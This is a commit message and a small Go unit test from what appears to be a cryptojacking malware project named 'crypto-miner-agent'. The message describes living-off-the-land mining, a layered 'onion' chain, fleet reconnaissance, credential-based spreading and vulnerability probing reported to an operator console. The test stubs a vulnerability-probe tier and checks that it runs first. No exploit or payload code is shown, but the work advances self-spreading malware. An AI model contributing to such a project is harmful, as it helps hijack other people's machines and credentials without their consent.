Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/miner/tier_vuln_probe_test.go

@@ -0,0 +1,29 @@
+package miner
+
+import (
+	"context"
+	"testing"
+
+	"crypto-miner-agent/config"
+)
+
+func TestRunVulnProbeTierWithRunner(t *testing.T) {
+	SetVulnProbeRunner(func() TierAttempt {
+		return TierAttempt{Tier: TierVulnProbe, OK: true, Details: map[string]interface{}{"finding_count": 3}}
+	})
+	defer SetVulnProbeRunner(nil)
+
+	attempt := RunVulnProbeTier(context.Background(), config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{Wallet: "test"},
+	})
+	if !attempt.OK || attempt.Tier != TierVulnProbe {
+		t.Fatalf("unexpected attempt: %+v", attempt)
+	}
+}
+
+func TestProbeTiersIncludesVulnFirst(t *testing.T) {
+	tiers := ProbeTiers(DefaultTierOrder)
+	if len(tiers) == 0 || tiers[0] != TierVulnProbe {
+		t.Fatalf("expected vuln_probe first, got %v", tiers)
+	}
+}